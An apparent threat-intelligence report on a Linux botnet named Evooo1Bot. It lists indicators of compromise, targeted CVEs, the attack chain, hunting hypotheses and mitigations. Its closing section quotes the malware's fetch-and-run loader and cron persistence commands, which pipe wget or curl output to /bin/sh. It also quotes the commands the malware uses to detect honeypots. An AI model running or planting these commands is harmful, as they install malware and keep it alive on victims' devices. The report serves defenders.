Multi-Functional Linux Botnet “Evooo1Bot”
Evooo1Bot is a previously undocumented Linux botnet family that extends the publicly leaked Mirai DDoS engine with encrypted C2 communications, SSH brute-force scanning, SOCKS relay functionality, credential sniffing, and an integrated exploit arsenal targeting 19 known vulnerabilities. Active since July 2026, it exploits Internet-facing devices across diverse regions using a loader script at 91.92.40.118/wget.sh. The malware employs multi-layer string obfuscation (AES-256-CTR, ChaCha20, XOR) and anti-analysis checks to evade detection.
- cveCVE-2007-3010Remote code execution vulnerability in Alcatel OmniPCX Enterprise.
- cveCVE-2016-6277Remote code execution vulnerability in NETGEAR multiple routers.
- cveCVE-2018-14558Command injection vulnerability in Tenda AC7, AC9, and AC10 routers.
- cveCVE-2019-14931Command injection vulnerability in Mitsubishi Electric ME-RTU devices.
- cveCVE-2020-10987Remote code execution vulnerability in Tenda AC1900 Router AC15.
- cveCVE-2021-36260Command injection vulnerability in Hikvision IP Camera via /SDK/webLanguage endpoint.
- cveCVE-2021-46422Command injection vulnerability in Telesquare SDT-CW3B1.
- cveCVE-2022-26134OGNL injection vulnerability in Atlassian Confluence allowing remote code execution.
- cveCVE-2022-29464Arbitrary file upload vulnerability in WSO2 products via /fileupload/ endpoint.
- cveCVE-2022-30525Command injection vulnerability in Zyxel Firewall via /ztp/cgi-bin/handler endpoint.
- cveCVE-2022-37055Buffer overflow vulnerability in D-Link routers.
- cveCVE-2023-1389Command injection vulnerability in TP-Link Archer AX21 via /cgi-bin/luci/;stok=/locale endpoint.
- cveCVE-2023-34362SQL injection vulnerability in MOVEit Transfer (non-exploitable as shipped in Evooo1Bot due to implementation errors).
- cveCVE-2024-10914Command injection vulnerability in D-Link NAS via /cgi-bin/account_mgr.cgi endpoint.
- cveCVE-2024-29269Command injection vulnerability in Telesquare TLR-2005KSH.
- cveCVE-2024-4577Argument injection vulnerability in PHP-CGI on Windows allowing remote code execution.
- cveCVE-2025-10123Command injection vulnerability in D-Link DIR-823X router.
- cveCVE-2025-1974Command injection vulnerability in Kubernetes ingress-nginx via /apis/networking/v1/ingresses endpoint.
- cveCVE-2025-55583Command injection vulnerability in D-Link DIR-868L B1 router.
- filename/tmp/.kTemporary file used by the loader script to download and execute architecture-specific botnet binaries.
- filename/tmp/.sTemporary file used by the loader script to download and execute the botnet binary.
- filename/tmp/.sniff.logCredential sniffer output file. The sniffer intercepts HTTP Basic Authorization and Cookie headers and writes them to this file.
- ip91[.]92[.]40[.]118C2 server and loader host. Serves the wget.sh loader script and architecture-specific botnet binaries. All exploit callbacks point to this IP.
- sha2564c0886349e9d348569fffe1b7a31e474d514508bf0cd6f1e5dd99c2a73525e4dSHA256 hash of an Evooo1Bot binary variant.
- sha256f13cb360768363d3424e2192c7805b8c8015eb8706dbbbcdead6aed8cf390109SHA256 hash of an Evooo1Bot binary variant.
- urlhxxp://91[.]92[.]40[.]118/kworkerdArchitecture-specific botnet binary download URL served by the C2 server.
- urlhxxp://91[.]92[.]40[.]118/kworkerd-cgroupArchitecture-specific botnet binary download URL served by the C2 server.
- urlhxxp://91[.]92[.]40[.]118/kworkerd-eventsArchitecture-specific botnet binary download URL served by the C2 server.
- urlhxxp://91[.]92[.]40[.]118/kworkerd-irqArchitecture-specific botnet binary download URL served by the C2 server.
- urlhxxp://91[.]92[.]40[.]118/kworkerd-irq-balArchitecture-specific botnet binary download URL served by the C2 server.
- urlhxxp://91[.]92[.]40[.]118/kworkerd-netnsArchitecture-specific botnet binary download URL served by the C2 server.
- urlhxxp://91[.]92[.]40[.]118/kworkerd-netns-rtArchitecture-specific botnet binary download URL served by the C2 server.
- urlhxxp://91[.]92[.]40[.]118/kworkerd-rcuArchitecture-specific botnet binary download URL served by the C2 server.
- urlhxxp://91[.]92[.]40[.]118/wget[.]shLoader script downloaded and executed after initial exploitation. Downloads architecture-specific botnet binaries using wget, busybox wget, curl, or tftp.
Detection / Hunteropenrouter
What Happened
Researchers discovered a new malicious software called Evooo1Bot that infects Linux-based devices like routers, cameras, and firewalls. The software takes over these devices by exploiting known security flaws in products from many manufacturers. Once installed, it can launch attacks that overwhelm websites with traffic, brute-force passwords to spread to other machines, turn the infected device into a relay to hide the attacker's real location, and steal credentials from network traffic. Organizations with Internet-facing devices should ensure all firmware and software is up to date, monitor for unusual outbound connections, and check for unauthorized SOCKS proxy listeners or SSH brute-force activity.
Key Takeaways
- Evooo1Bot is a modular Linux botnet extending Mirai's DDoS engine with encrypted C2, SSH brute-force, SOCKS relay, credential sniffing, and an integrated CVE exploit dispatcher targeting 19 known vulnerabilities
- Active since July 2026, the botnet exploits Internet-facing devices across diverse regions using a loader script at 91.92.40.118/wget.sh
- String obfuscation uses AES-256-CTR, ChaCha20, and XOR with split keys stored in the .data section, complicating static analysis
- The reverse SOCKS relay module turns compromised devices into persistent proxies for traffic obfuscation and internal network pivoting
- The malware includes anti-analysis checks for 40+ security tools, sandbox services, and VM/container environments to evade detection
Affected Systems
- Linux-based systems (i386, ARM, ARM64, and other architectures)
- Alcatel OmniPCX Enterprise
- NETGEAR routers
- Tenda AC7/AC9/AC10/AC15/AC1900 routers
- Mitsubishi Electric ME-RTU devices
- Telesquare SDT-CW3B1 and TLR-2005KSH
- D-Link routers (DIR-823X, DIR-868L B1, and others)
- Hikvision IP cameras
- Atlassian Confluence
- Zyxel Firewall
- TP-Link Archer AX21
- PHP-CGI on Windows
- D-Link NAS
- Kubernetes ingress-nginx
- WSO2 products
- MOVEit Transfer
Vulnerabilities (CVEs)
| CVE | Product | Severity | Description |
|---|---|---|---|
| CVE-2007-3010 | Alcatel OmniPCX Enterprise | Remote code execution vulnerability in Alcatel OmniPCX Enterprise. | |
| CVE-2016-6277 | NETGEAR Multiple Routers | Remote code execution vulnerability in NETGEAR multiple routers. | |
| CVE-2018-14558 | Tenda AC7/AC9/AC10 | Command injection vulnerability in Tenda AC7, AC9, and AC10 routers. | |
| CVE-2019-14931 | Mitsubishi Electric ME-RTU | Command injection vulnerability in Mitsubishi Electric ME-RTU devices. | |
| CVE-2020-10987 | Tenda AC1900 AC15 | Remote code execution vulnerability in Tenda AC1900 Router AC15. | |
| CVE-2021-36260 | Hikvision IP Camera | Command injection vulnerability in Hikvision IP Camera via /SDK/webLanguage endpoint. | |
| CVE-2021-46422 | Telesquare SDT-CW3B1 | Command injection vulnerability in Telesquare SDT-CW3B1. | |
| CVE-2022-26134 | Atlassian Confluence | OGNL injection vulnerability in Atlassian Confluence allowing remote code execution. | |
| CVE-2022-29464 | WSO2 products | Arbitrary file upload vulnerability in WSO2 products via /fileupload/ endpoint. | |
| CVE-2022-30525 | Zyxel Firewall | Command injection vulnerability in Zyxel Firewall via /ztp/cgi-bin/handler endpoint. | |
| CVE-2022-37055 | D-Link Routers | Buffer overflow vulnerability in D-Link routers. | |
| CVE-2023-1389 | TP-Link Archer AX21 | Command injection vulnerability in TP-Link Archer AX21 via /cgi-bin/luci/;stok=/locale endpoint. | |
| CVE-2023-34362 | MOVEit Transfer | SQL injection vulnerability in MOVEit Transfer (non-exploitable as shipped in Evooo1Bot due to implementation errors). | |
| CVE-2024-29269 | Telesquare TLR-2005KSH | Command injection vulnerability in Telesquare TLR-2005KSH. | |
| CVE-2024-4577 | PHP-CGI (Windows) | Argument injection vulnerability in PHP-CGI on Windows allowing remote code execution. | |
| CVE-2024-10914 | D-Link NAS | Command injection vulnerability in D-Link NAS via /cgi-bin/account_mgr.cgi endpoint. | |
| CVE-2025-1974 | Kubernetes ingress-nginx | Command injection vulnerability in Kubernetes ingress-nginx via /apis/networking/v1/ingresses endpoint. | |
| CVE-2025-10123 | D-Link DIR-823X | Command injection vulnerability in D-Link DIR-823X router. | |
| CVE-2025-55583 | D-Link DIR-868L B1 | Command injection vulnerability in D-Link DIR-868L B1 router. |
Attack Chain
- Initial Access: Exploits known vulnerabilities (CVE-2007-3010, CVE-2016-6277, CVE-2018-14558, CVE-2019-14931, CVE-2020-10987, CVE-2021-46422, CVE-2022-37055, CVE-2024-29269, CVE-2025-10123, CVE-2025-55583) in Internet-facing devices to achieve remote code execution
- Execution: Loader script wget.sh is downloaded from 91.92.40.118 and executed, which fetches architecture-specific botnet binary using wget, busybox wget, curl, or tftp
- Defense Evasion: Binary checks for 40+ analysis tools, sandbox services, and VM/container environments; uses AES-256-CTR, ChaCha20, and XOR for string obfuscation; clears bash history post-infection
- Command and Control: Establishes encrypted connection to C2 server on port 443 to blend with HTTPS traffic
- Persistence: Installs systemd service, SysV init script, cron job, shell profile injection, and rc.local entry simultaneously; reduces OOM-killer priority and holds /dev/watchdog open
- Lateral Movement and Proxy: SSH brute-force scanner targets enterprise service accounts; SOCKS relay module converts host into proxy node; CVE exploit module scans for additional vulnerable targets
Detection Availability
- YARA Rules: No
- Sigma Rules: No
- Snort/Suricata Rules: No
- KQL Queries: No
- Splunk SPL Queries: No
- EQL Queries: No
- Other Detection Logic: No
- Platforms: FortiGuard Antivirus, FortiGuard Web Filtering, FortiGuard IPS, FortiGuard IP Reputation
Fortinet detects the malware as Linux/Agent.BDS!tr via FortiGuard Antivirus. FortiGuard Web Filtering blocks the C2 server. FortiGuard IPS signatures are available for all exploited CVEs. FortiGuard IP Reputation and Anti-Botnet Service blocks infrastructure associated with this campaign. No YARA, Sigma, Snort, or Suricata rules are published in the article.
Detection Engineering Assessment
| Dimension | Rating | Rationale |
|---|---|---|
| EDR Visibility | Medium | Linux EDR coverage varies across organizations. The malware checks for common analysis tools and sandboxes, which could be detected if EDR monitors process execution and file system access patterns. However, IoT and edge devices often lack EDR agents entirely. |
| Network Visibility | Medium | C2 on port 443 blends with legitimate HTTPS traffic. The SOCKS relay on port 1080 and DDoS flood traffic are detectable. The reverse SOCKS relay mode uses outbound encrypted connections, which may bypass inbound firewall rules. |
| Detection Difficulty | Moderate | String obfuscation and anti-analysis checks add complexity to static analysis. However, behavioral indicators such as persistence mechanisms, SOCKS listener creation, SSH brute-force activity, and connections to the known C2 IP are detectable with appropriate telemetry. |
Required Log Sources
- Linux process execution logs (auditd, eBPF-based monitoring)
- systemd journal logs
- Cron job logs (/var/log/cron, /var/log/syslog)
- Network connection logs (netflow, firewall logs, Zeek/Bro)
- File system monitoring for /tmp, /etc/profile.d/, /etc/init.d/, /etc/rc.local
- SSH authentication logs (/var/log/auth.log, /var/log/secure)
Hunting Hypotheses
| Hypothesis | Telemetry | ATT&CK Stage | FP Risk |
|---|---|---|---|
| Consider hunting for Linux hosts with a systemd service file containing the description 'Apache HTTPD Cache Manager', as Evooo1Bot uses this specific description for its persistence service. | systemd unit files, file system monitoring | Persistence | Low - the specific description string is unlikely to appear in legitimate Apache installations. |
| Consider hunting for cron entries that download and execute scripts every 5 minutes using wget or curl piped to /bin/sh, as this matches Evooo1Bot's cron persistence mechanism. | cron job logs, crontab file monitoring | Persistence | Medium - legitimate admin scripts may use similar download-and-execute patterns. |
| Consider hunting for hosts making outbound SSH connections with the banner 'SSH-2.0-OpenSSH_9.7p1' to multiple targets in a short time window, as this indicates the SSH brute-force scanner. | network connection logs, SSH logs | Lateral Movement | Medium - legitimate SSH clients may use the same OpenSSH version string. |
| Consider hunting for Linux hosts with a process listening on TCP port 1080 that is not an authorized proxy server, as Evooo1Bot's SOCKS relay module opens a listener on this port. | network socket monitoring, netstat output | Command and Control | Medium - legitimate SOCKS proxies may use port 1080. |
| Consider hunting for processes that check for the presence of a large number of analysis tools (strace, gdb, ltrace, radare2, etc.) by accessing their filesystem paths, as this is an anti-analysis behavior used by Evooo1Bot. | file access logs, process execution logs | Defense Evasion | Low - checking for 40+ tools is unusual for legitimate software. |
Control Gaps
- Signature-based AV may miss the malware due to multi-layer string obfuscation (AES-256-CTR, ChaCha20, XOR)
- Network-based detection may miss C2 traffic on port 443 blending with legitimate HTTPS
- Reverse SOCKS relay mode uses outbound connections, which may bypass inbound firewall rules
- Anti-analysis checks prevent execution in sandbox environments, reducing automated detection
- IoT and edge devices often lack EDR coverage, limiting visibility into post-exploitation behavior
Key Behavioral Indicators
- systemd service with description 'Apache HTTPD Cache Manager' and 'Restart=always' setting
- Cron entry downloading and executing scripts every 5 minutes using wget or curl piped to /bin/sh
- SSH connections with banner 'SSH-2.0-OpenSSH_9.7p1' from unexpected hosts
- Process listening on TCP port 1080 (SOCKS5 proxy) on edge devices
- File /tmp/.sniff.log being created on Linux hosts
- Process checking for 40+ analysis tool names in filesystem (strace, gdb, ltrace, radare2, etc.)
- Binary with hardcoded string 'evooo1'
- SysV init script in /etc/init.d with header '### BEGIN INIT INFO' downloading scripts via wget/curl
- Script injection in /etc/profile.d/ directory
- Process writing to /proc/self/oom_score_adj to reduce OOM-killer priority
- Process keeping /dev/watchdog open to prevent device reboot
- Bash history being cleared post-infection
False Positive Assessment
Low - The C2 IP, loader URL, and file hashes are specific to this campaign. Behavioral indicators like the systemd service description 'Apache HTTPD Cache Manager' and the cron entry pattern are distinctive. However, port 1080 SOCKS listeners and SSH brute-force activity may generate false positives in environments with legitimate proxy servers or security scanning tools.
Recommendations
Immediate Mitigation
- Verify against your organization's incident response runbook and team escalation paths before acting. Consider blocking IP 91.92.40.118 and the URL http://91.92.40.118/wget.sh at network perimeter controls if supported by your tooling.
- If your EDR supports host isolation, consider isolating any Linux hosts showing connections to 91.92.40.118 on port 443.
- Consider hunting for the systemd service with description 'Apache HTTPD Cache Manager' across your Linux estate.
Infrastructure Hardening
- Evaluate whether Internet-facing devices (routers, cameras, firewalls) in your environment are running firmware versions vulnerable to the listed CVEs, and prioritize patching.
- Consider restricting outbound connections from IoT and edge devices to only necessary destinations and ports.
- If your network monitoring supports it, consider alerting on new SOCKS5 listeners on port 1080 from edge devices.
User Protection
- Consider deploying endpoint detection on Linux systems where feasible, focusing on process execution and file system monitoring in /tmp and /etc directories.
- Evaluate whether SSH access to edge devices can be restricted to known IP ranges or disabled entirely where not needed.
Security Awareness
- Consider incorporating IoT and edge device patching into existing security awareness programs, emphasizing the risk of default credentials on service accounts.
- If applicable to your organization, consider training IT staff on the risks of exposed management interfaces on network appliances.
MITRE ATT&CK Mapping
Initial Access
Execution
Credential Access
Command and Control
Impact
Additional IOCs
- Urls:
hxxp://91[.]92[.]40[.]118/kworkerd- Architecture-specific botnet binary download URL served by the C2 server.hxxp://91[.]92[.]40[.]118/kworkerd-events- Architecture-specific botnet binary download URL served by the C2 server.hxxp://91[.]92[.]40[.]118/kworkerd-cgroup- Architecture-specific botnet binary download URL served by the C2 server.hxxp://91[.]92[.]40[.]118/kworkerd-netns- Architecture-specific botnet binary download URL served by the C2 server.hxxp://91[.]92[.]40[.]118/kworkerd-netns-rt- Architecture-specific botnet binary download URL served by the C2 server.hxxp://91[.]92[.]40[.]118/kworkerd-rcu- Architecture-specific botnet binary download URL served by the C2 server.hxxp://91[.]92[.]40[.]118/kworkerd-irq- Architecture-specific botnet binary download URL served by the C2 server.hxxp://91[.]92[.]40[.]118/kworkerd-irq-bal- Architecture-specific botnet binary download URL served by the C2 server.
- File Paths:
/tmp/.s- Temporary file used by the loader script to download and execute the botnet binary./tmp/.k- Temporary file used by the loader script to download and execute architecture-specific botnet binaries./tmp/.sniff.log- Credential sniffer output file. The sniffer intercepts HTTP Basic Authorization and Cookie headers and writes them to this file.
- Command Lines:
- Purpose: Download and execute the botnet binary after initial exploitation | Tools:
wget,busybox,curl,tftp,chmod,sh| Stage: Execution |cd /tmp; wget <URL> -O .s; chmod 777 .s; sh .s <campaign> - Purpose: Maintain persistence by re-downloading and executing the botnet script every 5 minutes | Tools:
wget,curl,sh| Stage: Persistence |*/5 * * * * /bin/sh -c '(wget -qO- <URL> || curl -sL <URL>) | /bin/sh - Purpose: Maintain persistence via SysV init script that re-downloads the botnet on boot | Tools:
wget,curl,sh| Stage: Persistence |(wget -qO- <URL> || curl -sL <URL>) | /bin/sh - Purpose: Detect honeypot environments by checking for Cowrie and Kippo artifacts | Tools:
cat,ls| Stage: Discovery |cat /proc/version; cat /proc/1/cmdline; ls /opt/cowrie /home/cowrie /home/kippo
- Purpose: Download and execute the botnet binary after initial exploitation | Tools: